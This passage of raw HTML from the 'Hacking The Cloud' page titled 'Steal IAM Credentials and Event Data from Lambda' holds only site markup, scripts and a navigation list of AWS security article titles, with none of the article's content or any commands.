18.4 53 18.4 175z"/></svg> </a> <a href=https://bsky.app/profile/hackingthe.cloud target=_blank rel=noopener title=bsky.app class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </a> <a href=https://x.com/HackingthCloud target=_blank rel=noopener title=x.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M459.37 151.716c.325 4.548.325 9.097.325 13.645 0 138.72-105.583 298.558-298.558 298.558-59.452 0-114.68-17.219-161.137-47.106 8.447.974 16.568 1.299 25.34 1.299 49.055 0 94.213-16.568 130.274-44.832-46.132-.975-84.792-31.188-98.112-72.772 6.498.974 12.995 1.624 19.818 1.624 9.421 0 18.843-1.3 27.614-3.573-48.081-9.747-84.143-51.98-84.143-102.985v-1.299c13.969 7.797 30.214 12.67 47.431 13.319-28.264-18.843-46.781-51.005-46.781-87.391 0-19.492 5.197-37.36 14.294-52.954 51.655 63.675 129.3 105.258 216.365 109.807-1.624-7.797-2.599-15.918-2.599-24.04 0-57.828 46.782-104.934 104.934-104.934 30.213 0 57.502 12.67 76.67 33.137 23.715-4.548 46.456-13.32 66.599-25.34-7.798 24.366-24.366 44.833-46.132 57.827 21.117-2.273 41.584-8.122 60.426-16.243-14.292 20.791-32.161 39.308-52.628 54.253"/></svg> </a> <a href=https://www.linkedin.com/company/hacking-the-cloud/ target=_blank rel=noopener title=www.linkedin.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M416 32H31.9C14.3 32 0 46.5 0 64.3v383.4C0 465.5 14.3 480 31.9 480H416c17.6 0 32-14.5 32-32.3V64.3c0-17.8-14.4-32.3-32-32.3M135.4 416H69V202.2h66.5V416zm-33.2-243c-21.3 0-38.5-17.3-38.5-38.5S80.9 96 102.2 96c21.2 0 38.5 17.3 38.5 38.5 0 21.3-17.2 38.5-38.5 38.5m282.1 243h-66.4V312c0-24.8-.5-56.7-34.5-56.7-34.6 0-39.9 27-39.9 54.9V416h-66.4V202.2h63.7v29.2h.9c8.9-16.8 30.6-34.5 62.9-34.5 67.2 0 79.7 44.3 79.7 101.9z"/></svg> </a> <a href=https://github.com/Hacking-the-Cloud target=_blank rel=noopener title=github.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </a> <a href=https://hackingthe.cloud/feed_rss_created.xml target=_blank rel=noopener title=hackingthe.cloud class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M0 64c0-17.7 14.3-32 32-32 229.8 0 416 186.2 416 416 0 17.7-14.3 32-32 32s-32-14.3-32-32C384 253.6 226.4 96 32 96 14.3 96 0 81.7 0 64m0 352a64 64 0 1 1 128 0 64 64 0 1 1-128 0m32-256c159.1 0 288 128.9 288 288 0 17.7-14.3 32-32 32s-32-14.3-32-32c0-123.7-100.3-224-224-224-17.7 0-32-14.3-32-32s14.3-32 32-32"/></svg> </a> </div> </div> </div> </footer> </div> <div class=md-dialog data-md-component=dialog> <div class="md-dialog__inner md-typeset"></div> </div> <script id=__config type=application/json>{"base": "../../..", "features": ["navigation.tabs", "navigation.indexes", "content.action.edit"], "search": "../../../assets/javascripts/workers/search.c7c1ca2c.min.js", "translations": {"clipboard.copied": "Copied to clipboard", "clipboard.copy": "Copy to clipboard", "search.result.more.one": "1 more on this page", "search.result.more.other": "# more on this page", "search.result.none": "No matching documents", "search.result.one": "1 matching document", "search.result.other": "# matching documents", "search.result.placeholder": "Type to start searching", "search.result.term.missing": "Missing", "select.version": "Select version"}}</script> <script src=../../../assets/javascripts/bundle.203fd0bc.min.js></script> <script src=../../../javascripts/matomo.min.js></script> <script id="init-glightbox">const lightbox = GLightbox({"touchNavigation": true, "loop": false, "zoomable": true, "draggable": true, "openEffect": "zoom", "closeEffect": "zoom", "slideEffect": "slide"});
+    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#steal-iam-credentials-and-event-data-from-lambda class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=../../../azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class=md-tabs__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2 checked> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=true> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=false> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../enumeration/account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3 checked> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=true> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=../Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/ class=md-nav__link> <span class=md-ellipsis> Exploiting Public AWS Resources Programmatically - The Playbook 